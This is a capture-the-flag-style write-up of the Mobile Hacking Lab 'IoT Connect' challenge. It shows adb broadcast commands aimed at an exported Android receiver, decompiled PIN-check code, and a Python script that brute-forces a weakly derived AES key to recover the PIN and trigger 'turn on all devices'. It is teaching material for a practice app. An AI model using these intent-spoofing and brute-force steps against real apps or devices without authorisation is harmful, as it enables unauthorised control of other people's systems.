Mobile Hacking Lab: IoT Connect - Android Broadcast Receiver Challenge
Objective: Exploit an exported broadcast receiver to bypass PIN validation and control IoT devices
This challenge was part of Mobile Hacking Lab exploiting broadcast receiver, IoT Connect. It was interesting to learn about broadcast receivers, AES encryption weaknesses, Let me walk you through.
Initial Reconnaissance - Manifest Analysis
I started by examining the AndroidManifest.xml to identify the attack surface.
<receiver
android:name="com.mobilehackinglab.iotconnect.MasterReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="MASTER_ON"/>
</intent-filter>
</receiver>
What I noticed:
MasterReceiveris exported - accessible from outside the appIt listens for the
MASTER_ONactionNo permission requirements protecting it
This was a clear entry point for external exploitation.
First Attempt - Understanding Broadcast Receivers
I tried triggering the receiver using am broadcast
am broadcast -n "com.mobilehackinglab.iotconnect/.MasterReceiver" --es MASTER_ON "1234"
Nothing happened. I was confused about the proper syntax.
The Fix - Using Intent Actions
The issue was that I was specifying the component name instead of the intent action. Broadcast receivers respond to actions, not component names directly.
Corrected command:
am broadcast -a MASTER_ON --es key "123" -n "com.mobilehackinglab.iotconnect/.MasterReceiver"
Still nothing. I needed to understand what the receiver actually does.
Code Analysis - The Receiver Logic
I started examining the MasterReceiver implementation:
public void onReceive(Context context, Intent intent) {
if (Intrinsics.areEqual(intent.getAction(), "MASTER_ON")) {
int key = intent.getIntExtra("key", 0);
if (context != null) {
if (Checker.INSTANCE.check_key(key)) {
CommunicationManager.INSTANCE.turnOnAllDevices(context);
Toast.makeText(context, "All devices are turned on", 1).show();
} else {
Toast.makeText(context, "Wrong PIN!!", 1).show();
}
}
}
}
Key observations:
The receiver expects an integer extra named
key, not a stringIt validates the PIN using
Checker.check_key()Success triggers
turnOnAllDevices()
The Integer Issue
My command was using --es (string extra) instead of --ei (integer extra):
am broadcast -a MASTER_ON --ei key "123" -n "com.mobilehackinglab.iotconnect/.MasterReceiver"
Still no Toast appeared. Why?
The Toast Problem - App Must Be Running
I used to be an android developer in the past and quickly remembered that Toast messages require ui context, an foreground activity to display.
Toast.makeText(context2, "All devices are turned on", 1).show();
The context2 here is the ui context required.
The broadcast receiver works without the app being open, but the Toast won't show. I needed to start the app first:
am start -n com.mobilehackinglab.iotconnect/.LoginActivity
Now when I sent the broadcast:
am broadcast -a MASTER_ON --ei key 123
I saw: "Wrong PIN!!"
The receiver was working. Now I just needed the correct PIN.

Breaking the Encryption - PIN Validation Logic
I examined the Checker class to understand the PIN validation:
public final boolean check_key(int key) {
try {
return Intrinsics.areEqual(decrypt(ds, key), "master_on");
} catch (BadPaddingException e) {
return false;
}
}
public final String decrypt(String ds, int key) {
SecretKeySpec secretKey = generateKey(key);
Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
cipher.init(2, secretKey);
byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds));
return new String(decryptedBytes, Charsets.UTF_8);
}
private final SecretKeySpec generateKey(int staticKey) {
byte[] keyBytes = new byte[16];
byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
System.arraycopy(staticKeyBytes, 0, keyBytes, 0,
Math.min(staticKeyBytes.length, keyBytes.length));
return new SecretKeySpec(keyBytes, algorithm);
}
The encryption scheme:
The encrypted string is:
OSnaALIWUkpOziVAMycaZQ==The PIN is converted to UTF-8 bytes and zero-padded to 16 bytes (AES key size)
AES/ECB is used to decrypt the base64-encoded ciphertext
If the decrypted value equals
"master_on", the PIN is correct
Brute Force Attack - Finding the PIN
Since the PIN is only 000-999, I wrote a Python script to brute force it:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
ENCRYPTED_PIN = "OSnaALIWUkpOziVAMycaZQ=="
def generate_secret_key(static_key):
key_bytes = bytearray(16)
static_key_bytes = str(static_key).encode('utf-8')
key_bytes[:len(static_key_bytes)] = static_key_bytes[:16]
return bytes(key_bytes)
def decrypt_pin(encrypted_pin, secret_key):
cipher = AES.new(secret_key, AES.MODE_ECB)
decrypted = cipher.decrypt(base64.b64decode(encrypted_pin))
return unpad(decrypted, AES.block_size).decode('utf-8')
for i in range(1000):
pin = f"{i:03d}"
secret_key = generate_secret_key(pin)
try:
decrypted_pin = decrypt_pin(ENCRYPTED_PIN, secret_key)
if decrypted_pin == "master_on":
print("PIN found:", pin)
break
except (ValueError, KeyError):
continue
Result: PIN found: 345
Exploitation - Turning On All Devices
Now I had everything I needed:
am start -n com.mobilehackinglab.iotconnect/.LoginActivity && am broadcast -a MASTER_ON --ei key 345
Toast displayed: "All devices are turned on"

Key Takeaways
Intent actions vs component names - Broadcast receivers respond to actions in intent filters
Data types matter - Using
--eifor integers vs--esfor strings is criticalToast visibility - Toasts require a foreground activity context to display
Weak encryption - Using a small keyspace (3-digit PIN) makes brute force trivial
AES key derivation - Simply zero-padding a PIN to 16 bytes is cryptographically weak
Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.